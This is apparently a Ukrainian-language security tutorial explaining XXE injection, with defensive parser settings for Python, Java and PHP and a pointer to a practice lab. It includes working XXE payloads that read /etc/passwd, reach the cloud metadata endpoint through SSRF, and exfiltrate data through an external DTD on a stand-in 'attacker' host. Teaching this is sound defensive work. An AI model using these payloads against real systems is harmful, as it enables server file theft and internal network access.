Що таке XXE
XXE (XML External Entity) — вразливість, що виникає, коли застосунок парсить XML із увімкненою підтримкою зовнішніх сутностей (external entities). XML дозволяє оголошувати сутності в DTD (Document Type Definition), а зовнішня сутність може посилатися на файл або URL. Якщо парсер їх резолвить — атакуючий читає файли сервера, робить запити від його імені (SSRF) або кладе сервіс.
Як це працює
Сутність — це «змінна» в XML. Зовнішня сутність вказує на ресурс через SYSTEM:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
Якщо сервер підставляє &xxe; у відповідь — ти побачиш вміст /etc/passwd.
Причина проста: вхідні дані (XML від користувача) інтерпретуються як
інструкції для парсера.
Вектори експлуатації
1. Читання файлів — як вище (file:///, для Java також file:///c:/).
2. SSRF — сутність вказує на внутрішній URL:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
Сервер сам піде за посиланням — можна дістати хмарні метадані.
3. Blind XXE (out-of-band) — якщо відповідь не повертається, витягуємо дані на свій сервер через зовнішній DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">
%dtd;
4. DoS (Billion Laughs) — рекурсивні сутності роздувають пам'ять.
Захист
- Вимкни DTD / зовнішні сутності у парсері — головний захід. Приклади:
- Python
lxml:etree.XMLParser(resolve_entities=False, no_network=True); ще краще — бібліотека defusedxml. - Java:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). - PHP (libxml < 2.9):
libxml_disable_entity_loader(true). - Якщо XML не потрібен — приймай JSON.
- Не довіряй
Content-Type: перевіряй, що саме парсиш.
Практика: завдання XXE Injection у Labs — прочитай
/flag.txtчерез зовнішню сутність.